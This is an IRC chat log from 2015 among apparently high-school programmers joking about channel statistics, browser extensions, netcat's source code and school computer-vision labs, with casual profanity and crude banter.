[2015-03-25T19:06:42-0400] <JacobEdelman> https://www.irccloud.com/pastebin/1w3RCK9G
[2015-03-25T19:07:20-0400] <jwoglom> JacobEdelman: j truly is the best letter, isn't it?
[2015-03-25T19:07:22-0400] jwoglom is now known as j
[2015-03-25T19:07:25-0400] <z3t> it'd be interesting to write a sarcasm detector actually...
[2015-03-25T19:08:42-0400] <JacobEdelman> j: yup
[2015-03-25T19:08:46-0400] <JacobEdelman> https://www.irccloud.com/pastebin/KAUIOYoY
[2015-03-25T19:08:52-0400] <JacobEdelman> how often people use vowels
[2015-03-25T19:09:07-0400] <j> JacobEdelman: that j calculation should have factored in those with j's in their nick
[2015-03-25T19:09:22-0400] <j> like, count every line of theirs because it contains the letter j :P
[2015-03-25T19:09:43-0400] <JacobEdelman> out of the most active people
[2015-03-25T19:09:54-0400] <JacobEdelman> jwoglom uses the most vowels
[2015-03-25T19:10:00-0400] <j> ayyyy :D
[2015-03-25T19:10:04-0400] <j> i wonder why
[2015-03-25T19:10:11-0400] <j> that's actually a pretty interesting statistic
[2015-03-25T19:10:13-0400] <JacobEdelman> and sdamashek uses the least
[2015-03-25T19:10:36-0400] <j> sdamashek: you should really pick up your "ayy lmaos"
[2015-03-25T19:10:47-0400] <sdamashek> j: y lm
[2015-03-25T19:10:55-0400] <JacobEdelman> its a 0.03 difference
[2015-03-25T19:10:57-0400] <sdamashek> yy lm*
[2015-03-25T19:11:03-0400] <JacobEdelman> which I suppose it a reasonable amoutn in this case
[2015-03-25T19:11:05-0400] <j> sdamashek: a aoooo
[2015-03-25T19:11:15-0400] j is now known as jwoglom
[2015-03-25T19:13:16-0400] <JacobEdelman> cursing:
[2015-03-25T19:13:20-0400] <JacobEdelman> https://www.irccloud.com/pastebin/BsZT2Zga
[2015-03-25T19:13:34-0400] <jwoglom> well what'd you count as a curse word?
[2015-03-25T19:13:35-0400] <JacobEdelman> to my shock hardmath123 curses less than me
[2015-03-25T19:13:53-0400] <JacobEdelman> https://www.irccloud.com/pastebin/U2EIXmdb
[2015-03-25T19:14:07-0400] <JacobEdelman> I decided not to count fake ones
[2015-03-25T19:14:20-0400] <JacobEdelman> although "helI" feels out of place in that list
[2015-03-25T19:14:26-0400] <jwoglom> JacobEdelman: (gasp)
[2015-03-25T19:14:31-0400] <jwoglom> you linking to that list should totally cost you points
[2015-03-25T19:14:35-0400] <JacobEdelman> lol
[2015-03-25T19:14:46-0400] <JacobEdelman> what list?
[2015-03-25T19:14:52-0400] <JacobEdelman> there was no list
[2015-03-25T19:14:56-0400] <jwoglom> the list of curse words, silly :P
[2015-03-25T19:15:03-0400] <JacobEdelman> it no longer exists
[2015-03-25T19:15:05-0400] <JacobEdelman> I deleted it
[2015-03-25T19:22:33-0400] <z3t> :(
[2015-03-25T19:31:24-0400] <LittleBobbyTables> jwoglom: what do you mean crying?
[2015-03-25T19:31:34-0400] <z3t> lol
[2015-03-25T19:31:56-0400] <LittleBobbyTables> I apparently curse a lot.
[2015-03-25T19:32:03-0400] <LittleBobbyTables> Damn.
[2015-03-25T19:32:30-0400] <LittleBobbyTables> Also, J can go die in a fire. It's a stupid language that shouldn't exist.
[2015-03-25T19:38:03-0400] <LittleBobbyTables> To those wondering though, I solved that microcorruption level
[2015-03-25T19:38:13-0400] <LittleBobbyTables> Also, vimium for firefox exists. It's glorious
[2015-03-25T19:38:26-0400] <alokpathy> Um
[2015-03-25T19:38:27-0400] <alokpathy> what
[2015-03-25T19:38:33-0400] <alokpathy> LittleBobbyTables: Oh nice
[2015-03-25T19:38:44-0400] <alokpathy> JacobEdelman: Link me to the statistics?
[2015-03-25T19:38:54-0400] <LittleBobbyTables> It's pretty much vim commands, but for firefox
[2015-03-25T19:39:21-0400] <alokpathy> Oh, the oh nice was for the MC level
[2015-03-25T19:39:22-0400] <LittleBobbyTables> You can do something like f ws to open up a link on the page (F for new tab, ws is different letters depending on the position of the page, and it tells you what to press)
[2015-03-25T19:39:27-0400] <alokpathy> but that's pretty cool too now that you explained it
[2015-03-25T19:39:32-0400] <alokpathy> Oh wait nice
[2015-03-25T19:39:35-0400] <alokpathy> I'm getting this
[2015-03-25T19:39:46-0400] <LittleBobbyTables> You can hjkl for scrolling
[2015-03-25T19:39:50-0400] <LittleBobbyTables> Blur things
[2015-03-25T19:40:03-0400] <LittleBobbyTables> https://code.google.com/p/vimium-firefox/
[2015-03-25T19:40:27-0400] <alokpathy> Noice
[2015-03-25T19:40:37-0400] <alokpathy> Lol did you see the discussion on #pwning about netcat's source code?
[2015-03-25T19:40:38-0400] <LittleBobbyTables> That's the old version that I originally found
[2015-03-25T19:40:41-0400] <LittleBobbyTables> https://addons.mozilla.org/en-US/firefox/addon/vimfx/ is the new one
[2015-03-25T19:40:45-0400] <LittleBobbyTables> No, what about it?
[2015-03-25T19:40:48-0400] <LittleBobbyTables> I just barely got home
[2015-03-25T19:41:04-0400] <alokpathy> LittleBobbyTables: It was a while back
[2015-03-25T19:41:19-0400] <alokpathy> Apparently netcat's source code involves the word "poop" several times?
[2015-03-25T19:41:25-0400] <alokpathy> I haven't confirmed
[2015-03-25T19:41:25-0400] <LittleBobbyTables> lol, yeah
[2015-03-25T19:42:05-0400] <LittleBobbyTables> http://www.opensource.apple.com/source/netcat/netcat-4/netcat/netcat.c
[2015-03-25T19:42:55-0400] <LittleBobbyTables> But omg that extension, it's so nice
[2015-03-25T19:43:04-0400] <alokpathy> lololol
[2015-03-25T19:44:36-0400] <alokpathy> Holy shit this is great
[2015-03-25T19:45:00-0400] <LittleBobbyTables> right?
[2015-03-25T19:45:03-0400] <LittleBobbyTables> Wait which one
[2015-03-25T19:45:27-0400] <alokpathy> Vimium xD
[2015-03-25T19:45:36-0400] <LittleBobbyTables> yeah ^_^
[2015-03-25T19:45:46-0400] <LittleBobbyTables> speeds up browsing so much
[2015-03-25T19:45:52-0400] <LittleBobbyTables> You can now be unproductive even faster!
[2015-03-25T19:46:02-0400] <ubuntor> #define ANAL
[2015-03-25T19:46:12-0400] <alokpathy> And, yes, netcat's source is amazing as well LOL
[2015-03-25T19:46:34-0400] <jwoglom> all this "poop"
[2015-03-25T19:47:37-0400] <alokpathy> That comment in gethostpoop
[2015-03-25T19:48:32-0400] <LittleBobbyTables> https://github.com/joho/7XX-rfc
[2015-03-25T19:48:38-0400] <+awe> JacobEdelman: can you post the swears one again?
[2015-03-25T19:49:11-0400] <LittleBobbyTables> 11:13 PM <JacobEdelman> https://www.irccloud.com/pastebin/BsZT2Zga
[2015-03-25T19:49:14-0400] <+awe> Oh, wait, yeah.
[2015-03-25T19:49:18-0400] <+awe> Wow, I'm surprisingly low. :)
[2015-03-25T19:49:22-0400] <alokpathy> LittleBobbyTables: If only these existed.
[2015-03-25T19:49:30-0400] <+awe> hardmath123: I've been doing a good job!
[2015-03-25T19:49:31-0400] <LittleBobbyTables> To be fair, you curse so little on IRC
[2015-03-25T19:49:33-0400] <LittleBobbyTables> alokpathy: they do exist.
[2015-03-25T19:49:43-0400] <LittleBobbyTables> They're not official, but you can change response headers to whatever.
[2015-03-25T19:49:50-0400] <+awe> hardmath123: I swear less than Tamini!
[2015-03-25T19:49:51-0400] <alokpathy> Well, yeah, that.
[2015-03-25T19:50:02-0400] <alokpathy> And I thought I cursed way more.
[2015-03-25T19:50:04-0400] <LittleBobbyTables> I'm surprised "assface" curses more than me.
[2015-03-25T19:50:22-0400] <LittleBobbyTables> Or maybe that's just a percent? It would make sense.
[2015-03-25T19:50:27-0400] <LittleBobbyTables> I talk a lot.
[2015-03-25T19:50:28-0400] <+awe> It's a percentage of what they say.
[2015-03-25T19:50:33-0400] <alokpathy> failedxyz though
[2015-03-25T19:50:37-0400] <alokpathy> I didn't think he cursed that often
[2015-03-25T19:50:43-0400] <+awe> He also doesn't speak that often.
[2015-03-25T19:50:56-0400] <alokpathy> Yeah, true.
[2015-03-25T19:51:12-0400] <alokpathy> And when has JacobEdelman ever cursed?
[2015-03-25T19:51:26-0400] <+awe> Probably quoting people or something small here and there.
[2015-03-25T19:51:34-0400] <alokpathy> Maybe
[2015-03-25T19:52:00-0400] <alokpathy> Nice job apothy 
[2015-03-25T19:52:04-0400] <alokpathy> Never cursed once.
[2015-03-25T19:52:19-0400] <JacobEdelman> alokpathy: I have no idea
[2015-03-25T19:52:23-0400] <JacobEdelman> also, updated numebrs:
[2015-03-25T19:52:26-0400] <JacobEdelman> https://www.irccloud.com/pastebin/t7jL1Wea
[2015-03-25T19:52:32-0400] <JacobEdelman> I removed helI
[2015-03-25T19:52:39-0400] <JacobEdelman> since hello would have overlapped
[2015-03-25T19:52:53-0400] <JacobEdelman> maybe I said cockadoodledoo or something?
[2015-03-25T19:52:54-0400] <JacobEdelman> :P
[2015-03-25T19:52:57-0400] <alokpathy> goodbot cursed?
[2015-03-25T19:53:02-0400] <alokpathy> Wow goodbot
[2015-03-25T19:53:03-0400] <LittleBobbyTables> Fucking goodbot
[2015-03-25T19:53:05-0400] <LittleBobbyTables> cursing and shit
[2015-03-25T19:53:06-0400] <alokpathy> Are you actually good?
[2015-03-25T19:54:10-0400] <jwoglom> dat 7.17169761254e-06
[2015-03-25T19:54:14-0400] <JacobEdelman> ahh
[2015-03-25T19:54:25-0400] <JacobEdelman> I cursed when quoting the taylor swift bot
[2015-03-25T19:54:33-0400] <JacobEdelman> wait no
[2015-03-25T19:54:37-0400] <JacobEdelman> actually I was quoting Hyper
[2015-03-25T19:54:47-0400] <JacobEdelman> 5:04 PM <Hyper> but I want to see that fucking spring.
[2015-03-25T19:54:54-0400] <alokpathy> JacobEdelman: You should include nicks
[2015-03-25T19:55:01-0400] <JacobEdelman> ?
[2015-03-25T19:55:01-0400] <alokpathy> and see how far up assface shoots up
[2015-03-25T19:55:02-0400] <JacobEdelman> oooh
[2015-03-25T19:55:03-0400] <alokpathy> :P
[2015-03-25T19:55:04-0400] <JacobEdelman> lol
[2015-03-25T19:55:04-0400] <ubuntor> lol
[2015-03-25T19:55:10-0400] <LittleBobbyTables> You should have "littlebobbytables" as a curse
[2015-03-25T19:55:12-0400] <LittleBobbyTables> or lbt
[2015-03-25T19:58:24-0400] <JacobEdelman> https://www.irccloud.com/pastebin/qhrqvUeX
[2015-03-25T19:58:29-0400] <JacobEdelman> when lbt is a curse too
[2015-03-25T19:58:41-0400] <LittleBobbyTables> I apparently talk about myself a lot
[2015-03-25T19:59:16-0400] <JacobEdelman> no
[2015-03-25T19:59:18-0400] <+awe> hardmath123 0.0
[2015-03-25T19:59:20-0400] <+awe> :)
[2015-03-25T19:59:21-0400] <JacobEdelman> you're high on the plain cursing too
[2015-03-25T19:59:28-0400] <LittleBobbyTables> Well yeah, but
[2015-03-25T19:59:32-0400] <JacobEdelman> awe: all of my curses were me quoting people
[2015-03-25T19:59:33-0400] <LittleBobbyTables> That's still a big increase
[2015-03-25T19:59:35-0400] <JacobEdelman> it seems
[2015-03-25T19:59:36-0400] <+awe> I figured.
[2015-03-25T19:59:46-0400] <JacobEdelman> I side effect of talking soo much
[2015-03-25T19:59:50-0400] <JacobEdelman> https://www.irccloud.com/pastebin/DthKGjqn
[2015-03-25T19:59:51-0400] <LittleBobbyTables> LittleBobbyTables 0.000721064837371 LittleBobbyTables 0.000870474668538
[2015-03-25T19:59:58-0400] <JacobEdelman> fake curses
[2015-03-25T20:00:12-0400] <JacobEdelman> "darn","fudge", and "poo"
[2015-03-25T20:00:15-0400] <LittleBobbyTables> That's a pretty big increase if you ask me
[2015-03-25T20:01:33-0400] <alokpathy> Wow I jumped
[2015-03-25T20:01:38-0400] <alokpathy> I thinK I used darn a lot.
[2015-03-25T20:01:56-0400] <JacobEdelman> well, that one is just fake curses
[2015-03-25T20:02:00-0400] <JacobEdelman> https://www.irccloud.com/pastebin/hvJqAmk2
[2015-03-25T20:02:06-0400] <JacobEdelman> programming languages
[2015-03-25T20:02:14-0400] <JacobEdelman> ["java","caml","haskel","python","c++","rust"]
[2015-03-25T20:02:22-0400] <LittleBobbyTables> j is a language
[2015-03-25T20:02:26-0400] <LittleBobbyTables> so is r
[2015-03-25T20:02:29-0400] <LittleBobbyTables> Add those in Kappa
[2015-03-25T20:02:34-0400] <JacobEdelman> no
[2015-03-25T20:02:38-0400] <JacobEdelman> I'm not tokenizing
[2015-03-25T20:02:38-0400] <LittleBobbyTables> lol
[2015-03-25T20:02:41-0400] <JacobEdelman> although I cold
[2015-03-25T20:02:43-0400] <JacobEdelman> let me fix this
[2015-03-25T20:11:33-0400] <z3t> I love joining random channels on freenode
[2015-03-25T20:11:36-0400] <+awe> Wow. This is dark as hell.
[2015-03-25T20:11:46-0400] <z3t> 20:10:19            ii | well, z3t seems like a bit of a condescending, arrogant cunt. wonder if he's an aspie
[2015-03-25T20:11:49-0400] <+awe> Kendrick's new album has a song called These Walls.
[2015-03-25T20:12:06-0400] <alokpathy> z3t: wat
[2015-03-25T20:12:18-0400] <alokpathy> What channel is this?
[2015-03-25T20:12:41-0400] <z3t> ##club-nomicon
[2015-03-25T20:12:45-0400] <z3t> they are not very friendly people
[2015-03-25T20:12:50-0400] <z3t> I didn't even troll :l
[2015-03-25T20:12:53-0400] <+awe> It's about how a friend of his was killed by a man and then was indicted immediately and is serving life in prison, and how Kendrick is having sex with the mother of his friend's killer's children.
[2015-03-25T20:13:17-0400] <jwoglom> wat.
[2015-03-25T20:13:22-0400] <ubuntor> um
[2015-03-25T20:13:27-0400] <jwoglom> well, it's unique
[2015-03-25T20:13:30-0400] <jwoglom> i'll give it that
[2015-03-25T20:14:16-0400] <ubuntor> yay, finally got the github education pack
[2015-03-25T20:14:57-0400] <+awe> This whole album is so sick.
[2015-03-25T20:15:05-0400] <fwilson> z3t: :(
[2015-03-25T20:15:08-0400] <fwilson> D:
[2015-03-25T20:15:42-0400] <+awe> If anyone is interested in deeply emotional rap music, listen to 'u'.
[2015-03-25T20:17:25-0400] <z3t> :( fwilson
[2015-03-25T20:17:45-0400] <fwilson> :(
[2015-03-25T20:18:40-0400] <JacobEdelman> http://mbx.cm/t/09eNY
[2015-03-25T20:18:41-0400] <JacobEdelman> there
[2015-03-25T20:18:49-0400] <JacobEdelman> thats json of pdgn logs
[2015-03-25T20:18:53-0400] <JacobEdelman> thats tokenized
[2015-03-25T20:18:57-0400] <JacobEdelman> and sentiment analyzed
[2015-03-25T20:19:11-0400] <JacobEdelman> (with a better sentiment analyzer than the one I was using earlier)
[2015-03-25T20:19:42-0400] <JacobEdelman> and noun phrases
[2015-03-25T20:21:53-0400] <fwilson> JacobEdelman: http://i.fwilson.me/GWjmTv.png PLS
[2015-03-25T20:22:34-0400] <JacobEdelman> fwilson: does the B means its slow?
[2015-03-25T20:22:42-0400] <fwilson> the B means Bad :(
[2015-03-25T20:22:44-0400] <JacobEdelman> cause I like that I have unlimited space
[2015-03-25T20:22:45-0400] <fwilson> supports rc4
[2015-03-25T20:22:51-0400] <fwilson> oh?
[2015-03-25T20:22:59-0400] <fwilson> oh.
[2015-03-25T20:22:59-0400] <JacobEdelman> well, large files are temporar
[2015-03-25T20:23:01-0400] <JacobEdelman> *temproery
[2015-03-25T20:23:05-0400] <fwilson> looks neat
[2015-03-25T20:23:08-0400] <JacobEdelman> but even a 7 gig file lasted a week
[2015-03-25T20:23:13-0400] <JacobEdelman> so I think min is a week
[2015-03-25T20:23:59-0400] <fwilson> that's pretty awesome :(
[2015-03-25T20:24:09-0400] <JacobEdelman> (I uploaded a 7 gb git backup of my homefolder that was encrypted)
[2015-03-25T20:24:14-0400] <fwilson> lol
[2015-03-25T20:24:20-0400] <JacobEdelman> yeah, its quiet nice
[2015-03-25T20:25:26-0400] <JacobEdelman> awe: look at the stats http://mbx.cm/t/09eNY
[2015-03-25T20:35:37-0400] <+awe> JacobEdelman: I don't really feel like downloading 20 MB of json.
[2015-03-25T20:35:58-0400] <LittleBobbyTables> Would you download it if it was porn
[2015-03-25T20:36:03-0400] <+awe> Depends on how good it was.
[2015-03-25T20:37:23-0400] <LittleBobbyTables> 20 MB
[2015-03-25T20:37:25-0400] <LittleBobbyTables> of porn
[2015-03-25T20:38:25-0400] <+awe> It wouldn't be very much porn.
[2015-03-25T20:38:29-0400] <+awe> So, I guess it wouldn't be very good.
[2015-03-25T20:38:37-0400] <JacobEdelman> awe: its ascii art 
[2015-03-25T20:38:47-0400] <JacobEdelman> :P
[2015-03-25T20:38:51-0400] <+awe> Hmm, that would be really lame.
[2015-03-25T20:38:52-0400] <JacobEdelman> then it would be a lot
[2015-03-25T20:38:55-0400] <+awe> I can't fap to ascii art.
[2015-03-25T20:39:06-0400] <JacobEdelman> .... you can't know till you tried
[2015-03-25T20:39:14-0400] <JacobEdelman> and if you say you tried I will punch you
[2015-03-25T20:39:23-0400] <LittleBobbyTables> I have
[2015-03-25T20:39:26-0400] <+awe> I can try, if you want.
[2015-03-25T20:39:29-0400] <JacobEdelman> .....
[2015-03-25T20:39:33-0400] <JacobEdelman> ..................
[2015-03-25T20:39:35-0400] <JacobEdelman> I give up
[2015-03-25T20:40:22-0400] <JacobEdelman> ..........................................................................
[2015-03-25T20:40:30-0400] <JacobEdelman> you guys are weird
[2015-03-25T20:40:38-0400] <LittleBobbyTables> its hard
[2015-03-25T20:41:02-0400] <jwoglom> good to know, i guess?
[2015-03-25T20:41:18-0400] <JacobEdelman> ............
[2015-03-25T20:41:28-0400] <JacobEdelman> jwoglom: http://mbx.cm/t/09eNY
[2015-03-25T20:41:36-0400] <JacobEdelman> json of pdgn statistics
[2015-03-25T20:41:54-0400] <jwoglom> that's a freaking big json file
[2015-03-25T20:41:58-0400] <JacobEdelman> yes
[2015-03-25T20:42:19-0400] <JacobEdelman> it has the text, time author, sentiment, tags, tokens, and noun phrases
[2015-03-25T20:42:23-0400] <JacobEdelman> for each statement
[2015-03-25T20:43:09-0400] <jwoglom> oh nice
[2015-03-25T20:44:34-0400] <jwoglom> JacobEdelman: no dates on each message?
[2015-03-25T20:48:45-0400] <JacobEdelman> jwoglom: thats tere too
[2015-03-25T20:48:49-0400] <JacobEdelman> its part of the time
[2015-03-25T20:48:54-0400] <JacobEdelman> wait, I think it is
[2015-03-25T20:49:00-0400] <JacobEdelman> oh wait, its not
[2015-03-25T20:49:04-0400] <JacobEdelman> hmmm... fixing that is hard
[2015-03-25T20:49:29-0400] <JacobEdelman> the logs I was given didn't have the date
[2015-03-25T20:49:34-0400] <jwoglom> i only see a time, yeah
[2015-03-25T20:49:45-0400] <jwoglom> oh that's stupid
[2015-03-25T20:49:51-0400] <jwoglom> logs w no date
[2015-03-25T20:50:01-0400] <JacobEdelman> the files were organized by date
[2015-03-25T20:50:07-0400] <JacobEdelman> but I just joined the files together
[2015-03-25T20:50:11-0400] <JacobEdelman> I'll work on fixing that
[2015-03-25T20:52:55-0400] <LittleBobbyTables> 500
[2015-03-25T20:52:55-0400] <LittleBobbyTables> We're sorry, but something went wrong.
[2015-03-25T20:52:55-0400] <LittleBobbyTables> We've been notified about this issue and we'll take a look at it shortly.
[2015-03-25T20:52:55-0400] <LittleBobbyTables> http://use.typekit.net/
[2015-03-25T20:52:55-0400] <LittleBobbyTables> http://mbx.cm/t/.js
[2015-03-25T20:52:55-0400] <LittleBobbyTables> http://mbx.cm/t/text/javascript
[2015-03-25T20:57:37-0400] <JacobEdelman> jwoglom: fixed and recomputing json
[2015-03-25T20:57:51-0400] <jwoglom> cool
[2015-03-25T21:00:17-0400] <JacobEdelman> http://mbx.cm/t/pLks1
[2015-03-25T21:00:22-0400] <JacobEdelman> jwoglom: ^
[2015-03-25T21:01:52-0400] <jwoglom> cool, downloading
[2015-03-25T21:03:40-0400] <LittleBobbyTables> http://gyazo.com/13a4ed38ec3033db2b497945b57caa52
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[2015-03-25T21:05:55-0400] <jwoglom> "Success
[2015-03-25T21:05:57-0400] <jwoglom> rm failed for -f, No such file or directory"
[2015-03-25T21:06:29-0400] <LittleBobbyTables> lel
[2015-03-25T21:06:41-0400] <jwoglom> a+/10 adb
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[2015-03-25T21:07:40-0400] <fwilson> dank :(
[2015-03-25T21:07:45-0400] <+awe> I'm so dank.
[2015-03-25T21:07:48-0400] <z3t> fwilson :(
[2015-03-25T21:08:23-0400] <LittleBobbyTables> Prove it
[2015-03-25T21:08:28-0400] <fwilson> z3t :(
[2015-03-25T21:08:37-0400] <fwilson> http://i.fwilson.me/VuByz7.png
[2015-03-25T21:08:40-0400] <fwilson> pls hhct
[2015-03-25T21:08:42-0400] <fwilson> help
[2015-03-25T21:08:44-0400] <fwilson> help me decide
[2015-03-25T21:08:47-0400] <fwilson> which dev language to use :(P
[2015-03-25T21:08:50-0400] <fwilson> :(
[2015-03-25T21:08:56-0400] <jwoglom> fwilson: ayy i answered your question
[2015-03-25T21:08:58-0400] <jwoglom> am i rite
[2015-03-25T21:09:01-0400] <fwilson> thanks
[2015-03-25T21:09:08-0400] <jwoglom> it was difficult
[2015-03-25T21:09:09-0400] <LittleBobbyTables> node.js
[2015-03-25T21:09:13-0400] <z3t> node.js ^
[2015-03-25T21:09:27-0400] <fwilson> just checking
[2015-03-25T21:10:06-0400] <fwilson> jwoglom: also is this close enough for stueben hough line http://i.fwilson.me/k6rwvP.png
[2015-03-25T21:10:17-0400] <fwilson> or will he be like "no it has to be the line exactly"
[2015-03-25T21:10:25-0400] <jwoglom> idk, it's probably fine
[2015-03-25T21:10:28-0400] <fwilson> ok
[2015-03-25T21:10:37-0400] <fwilson> also is that what the code is supposed to do
[2015-03-25T21:10:40-0400] <jwoglom> also thank you for reminding me to take a look at my labs ;_;
[2015-03-25T21:10:53-0400] <fwilson> lol
[2015-03-25T21:10:55-0400] <fwilson> np :(
[2015-03-25T21:10:58-0400] <jwoglom> i believe all it has to do is just find the line
[2015-03-25T21:11:02-0400] <jwoglom> and draw over it
[2015-03-25T21:11:14-0400] <jwoglom> the slight offness probably makes sense
[2015-03-25T21:11:15-0400] <fwilson> ok
[2015-03-25T21:11:17-0400] <fwilson> good
[2015-03-25T21:11:22-0400] <jwoglom> because of the circles around it also casting "votes"
[2015-03-25T21:11:48-0400] <fwilson> but it just ignores those
[2015-03-25T21:11:51-0400] <fwilson> oh
[2015-03-25T21:11:56-0400] <fwilson> i probably didn't draw it at an exact angle
[2015-03-25T21:11:58-0400] <fwilson> right
[2015-03-25T21:12:03-0400] <Tamini> oh
[2015-03-25T21:12:04-0400] <jwoglom> yeah, that too
[2015-03-25T21:12:07-0400] <Tamini> i got that during 8th period
[2015-03-25T21:12:10-0400] <fwilson> dank
[2015-03-25T21:12:12-0400] <Tamini> sdamashek refused to help me :<
[2015-03-25T21:12:19-0400] <jwoglom> lol sdamashek 
[2015-03-25T21:12:29-0400] <Tamini> fwilson: that's almost exactly how mine looks
[2015-03-25T21:12:36-0400] <sdamashek> I did not refuse to help you >_>
[2015-03-25T21:12:37-0400] <fwilson> lol
[2015-03-25T21:12:42-0400] <jwoglom> also, did he refuse to help you or refuse to fix it for you? :P
[2015-03-25T21:12:47-0400] <sdamashek> I said mine didn't even actually work last year
[2015-03-25T21:12:52-0400] <fwilson> Tamini: does your test image have illuiminati
[2015-03-25T21:12:54-0400] <sdamashek> and I completely forget how it worked
[2015-03-25T21:13:30-0400] <jwoglom> fwilson: is that (gasp) a smiley face?!
[2015-03-25T21:13:59-0400] <fwilson> jwoglom: :(
[2015-03-25T21:14:06-0400] <fwilson> sdamashek: lol i didn't turn in canny
[2015-03-25T21:14:19-0400] <sdamashek> fwilson: lol
[2015-03-25T21:14:27-0400] <fwilson> but every other lab i have (minus this one ofc)
[2015-03-25T21:14:30-0400] <jwoglom> couldn't you still turn it in tomorrow or friday
[2015-03-25T21:14:31-0400] <Tamini> darn no
[2015-03-25T21:14:32-0400] <fwilson> yeah
[2015-03-25T21:14:34-0400] <fwilson> tomorrow
[2015-03-25T21:14:35-0400] <Tamini> i meant how my line works
[2015-03-25T21:14:36-0400] <sdamashek> that one worked fine
[2015-03-25T21:14:42-0400] <Tamini> and sdamashek: that is total willing refusal
[2015-03-25T21:14:44-0400] <fwilson> Tamini: dank
[2015-03-25T21:14:44-0400] <Tamini> fwilson: okay so
[2015-03-25T21:14:48-0400] <Tamini> i don't have the packet for canny
[2015-03-25T21:14:49-0400] <sdamashek> Tamini: pls
[2015-03-25T21:14:52-0400] <Tamini> i've been playing it totally by ear
[2015-03-25T21:14:58-0400] <Tamini> i have no idea how this will turn out
[2015-03-25T21:15:02-0400] <fwilson> lol
[2015-03-25T21:15:05-0400] <Tamini> freaking steuben
[2015-03-25T21:15:06-0400] <fwilson> i'm just not turning it in
[2015-03-25T21:15:08-0400] <fwilson> i should still have an A
[2015-03-25T21:15:10-0400] <sdamashek> stueben*
[2015-03-25T21:15:12-0400] <Tamini> the one packet i dont have you dont put online
[2015-03-25T21:15:17-0400] <Tamini> should i also do that
[2015-03-25T21:15:19-0400] <sdamashek> he puts any packets online?
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[2015-03-25T21:15:24-0400] <sdamashek> lol what
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[2015-03-25T21:15:28-0400] <fwilson> dank
[2015-03-25T21:15:29-0400] <sdamashek> k
[2015-03-25T21:15:29-0400] <jwoglom> lol, ashley
[2015-03-25T21:15:31-0400] <jwoglom> you quit
[2015-03-25T21:15:32-0400] <+awe> fwilson: use Rust.
[2015-03-25T21:15:32-0400] <Tamini> wait darn
[2015-03-25T21:15:36-0400] <sdamashek> dank memes / 20
[2015-03-25T21:15:37-0400] <Tamini> i think i just ragequit
[2015-03-25T21:15:38-0400] <fwilson> awe: no
[2015-03-25T21:15:40-0400] <fwilson> :(
[2015-03-25T21:15:41-0400] <jwoglom> indeed so
[2015-03-25T21:15:42-0400] <Tamini> because fwilson
[2015-03-25T21:15:44-0400] <fwilson> dank
[2015-03-25T21:15:50-0400] <jwoglom> with the firmly worded default partmsg of "Leaving"
[2015-03-25T21:15:58-0400] <Tamini> also wait do you guys know why we had um
[2015-03-25T21:16:04-0400] <Tamini> pizza today 8th period
[2015-03-25T21:16:10-0400] <fwilson> don't tell anyone
[2015-03-25T21:16:13-0400] <jwoglom> pizza where
[2015-03-25T21:16:15-0400] <Tamini> because that was nice and i would like to know
[2015-03-25T21:16:16-0400] <Tamini> :X
[2015-03-25T21:16:16-0400] <sdamashek> I got A-'s for the first two quarters of AI but he submitted grade correction things to turn them into As because I just hadn't submitted assignments
[2015-03-25T21:16:16-0400] <Tamini> okay
[2015-03-25T21:16:22-0400] <jwoglom> i ran into michael and he gave me a slice of pizza
[2015-03-25T21:16:27-0400] <Tamini> ^
[2015-03-25T21:16:27-0400] <jwoglom> but i wasn't in the syslab at all 8th pd
[2015-03-25T21:16:33-0400] <Tamini> michael just walked by and gave me pizza
[2015-03-25T21:16:35-0400] <fwilson> http://www.steelcase.com/products/collaborative-chairs/node/
[2015-03-25T21:16:35-0400] <Tamini> it was great
[2015-03-25T21:16:45-0400] <fwilson> dank
[2015-03-25T21:16:48-0400] <jwoglom> oh nice. so, like, the same thing that happened to me lol
[2015-03-25T21:16:53-0400] <fwilson> node.js chairs
[2015-03-25T21:17:16-0400] <jwoglom> fwilson: that actually looks like it'd probably be uncomfortable
[2015-03-25T21:17:37-0400] <sdamashek> just like using node.js
[2015-03-25T21:18:15-0400] <LittleBobbyTables> Just like your mom
[2015-03-25T21:18:25-0400] <jwoglom> but does node.js help you "keep pace with active learning" or "change the face of classrooms at universidad mariano galvez"?!?!
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[2015-03-25T21:18:45-0400] <sdamashek> k
[2015-03-25T21:18:55-0400] <sdamashek> jwoglom: yes, because it's the only real dev language
[2015-03-25T21:19:05-0400] <jwoglom> can i 3d print a node.js
[2015-03-25T21:19:05-0400] <Tamini> lol
[2015-03-25T21:19:19-0400] <sdamashek> https://github.com/redweblabs/Node.js-3D-Printer-Software
[2015-03-25T21:19:24-0400] <jwoglom> z3t_maybe_a_bot: r u a bot
[2015-03-25T21:19:37-0400] • jwoglom: throws chair out the window
[2015-03-25T21:21:40-0400] <z3t> It doesn't have input added yet...
[2015-03-25T21:21:45-0400] <z3t> :L
[2015-03-25T21:21:52-0400] <z3t> Hello z3t_maybe_a_bot
[2015-03-25T21:21:52-0400] <z3t_maybe_a_bot> Hello!
[2015-03-25T21:22:16-0400] <jwoglom> ..or does it?!
[2015-03-25T21:23:21-0400] <fwilson> YES
[2015-03-25T21:23:23-0400] <fwilson> http://i.fwilson.me/zLIp6n.png
[2015-03-25T21:23:32-0400] <jwoglom> ayyyyy
[2015-03-25T21:23:34-0400] <jwoglom> nice!
[2015-03-25T21:23:54-0400] <JacobEdelman> jwoglom: omg
[2015-03-25T21:24:00-0400] <JacobEdelman> jwoglom: what windows manager is that?
[2015-03-25T21:24:01-0400] <JacobEdelman> :P
[2015-03-25T21:24:08-0400] <sdamashek> fwilson: nice
[2015-03-25T21:24:15-0400] <JacobEdelman> oh wait
[2015-03-25T21:24:21-0400] <z3t> that looks easy fwilson
[2015-03-25T21:24:22-0400] <sdamashek> JacobEdelman: do you mean fwilson?
[2015-03-25T21:24:27-0400] <JacobEdelman> I meant fwislon
[2015-03-25T21:24:31-0400] <sdamashek> z3t: your mom looks easy
[2015-03-25T21:24:31-0400] <jwoglom> JacobEdelman: PLS
[2015-03-25T21:24:33-0400] <Tamini> fwilson: only four trinkets
[2015-03-25T21:24:33-0400] <Tamini> SHAME
[2015-03-25T21:24:36-0400] <jwoglom> that's i3
[2015-03-25T21:25:21-0400] <jwoglom> am i really so unknown that both you and awe confuse me with someone else? :P
[2015-03-25T21:25:21-0400] <fwilson> Tamini: 4/20
[2015-03-25T21:25:28-0400] <sdamashek> lol
[2015-03-25T21:25:28-0400] <fwilson> z3t: no it was really hard
[2015-03-25T21:25:34-0400] <sdamashek> ( ͡° ͜ʖ ͡°)
[2015-03-25T21:25:39-0400] <jwoglom> ( ͡° ͜ʖ ͡°)
